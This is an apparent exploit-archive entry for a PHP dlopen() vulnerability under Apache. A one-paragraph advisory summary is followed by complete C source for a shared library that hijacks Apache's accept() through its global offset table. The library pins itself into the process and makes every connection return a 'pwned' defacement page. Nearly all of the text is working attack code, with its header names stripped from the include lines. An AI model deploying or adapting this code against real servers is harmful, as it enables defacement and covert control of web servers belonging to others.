// source: https://www.securityfocus.com/bid/8405/info A vulnerability has been reported to present itself in the dlopen() function contained in the PHP source. The issue occurs when PHP is used in conjunction with the Apache web server. A local attacker may exploit this issue to gain unauthorized access to potentially sensitive information. /* * http://felinemenace.org - local PHP fun stuff ;) by Andrew Griffiths. * This causes "infected" apache child processes to return a "defaced" page upon * connection. This won't work on apache 2.x due to how it handles return codes * from accept. oh well ;) */ #include #include #include #include #include #include #include #include #include #include #include int bd_fd = 0; int (*real_accept)(int fd, struct sockaddr *sin, socklen_t *addrlen); int bd_init=0; int *f; extern int errno; char content[] = "HTTP/1.1 200 OK\n" "Date: Mon, 26 May 2003 03:29:44 GMT\n" "Server: Apache/1.3.27 (Unix) (Red-Hat/Linux) mod_ssl/2.8.12 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26\n" "Connection: close\n" "Content-Type: text/html; charset=iso-8859-1\n\n\n" "pwned!woo"; void trace(char *string) { char buf[32]; if(bd_fd == 0) { sprintf(buf, "/tmp/tracez.%d", getpid()); bd_fd = open(buf, O_WRONLY|O_CREAT|O_TRUNC|O_SYNC, 0777); if(bd_fd == -1) { system("echo fscking damnit. unable to open file > /tmp/trace"); exit(EXIT_FAILURE); } } write(bd_fd, string, strlen(string)); } int fake_accept(int fd, struct sockaddr *addr, socklen_t *addrlen) { int client_fd; trace("fake_accept()ing it up\n"); client_fd = real_accept(fd, addr, addrlen); if(client_fd <= 0) return client_fd; write(client_fd, content, strlen(content)); close(client_fd); errno = EINTR; return -1; } #ifndef RTLD_NODELETE #define RTLD_NODELETE 0x01000 /* bits/dlfcn.h */ #endif void load_self() { trace("Locking ourselves into the process ..."); setenv("pwned", "true", 1); dlopen("/tmp/libby.so", 0); dlopen("/tmp/libby.so", RTLD_NODELETE); /* pwned indeed :) */ unsetenv("pwned"); trace("done\n"); } void _init() { char cmd[1024], cmd2[1024]; FILE *p; if(getenv("pwned")) return; sprintf(cmd, "Starting up: pid %d\n", getpid()); system("cat /proc/$PPID/maps > /tmp/t"); trace(cmd); if(bd_init == 0) { load_self(); sprintf(cmd2, "objdump -R /usr/sbin/httpd | grep accept | grep JUMP\n", cmd); trace(cmd2); p = popen(cmd2, "r"); fscanf(p, "%08x ", &f); memset(cmd, 0, sizeof(cmd)-1); sprintf(cmd, "&GOT[accept]: %p\n", f); trace(cmd); pclose(p); real_accept = *f; sprintf(cmd, "GOT[accept]: %p\n", real_accept); trace(cmd); *f = fake_accept; sprintf(cmd, "now: GOT[accept]: %p\n", *f); trace(cmd); bd_init++; } } void _fini() { *f = real_accept; trace("ack, closing!!\n"); close(bd_fd); }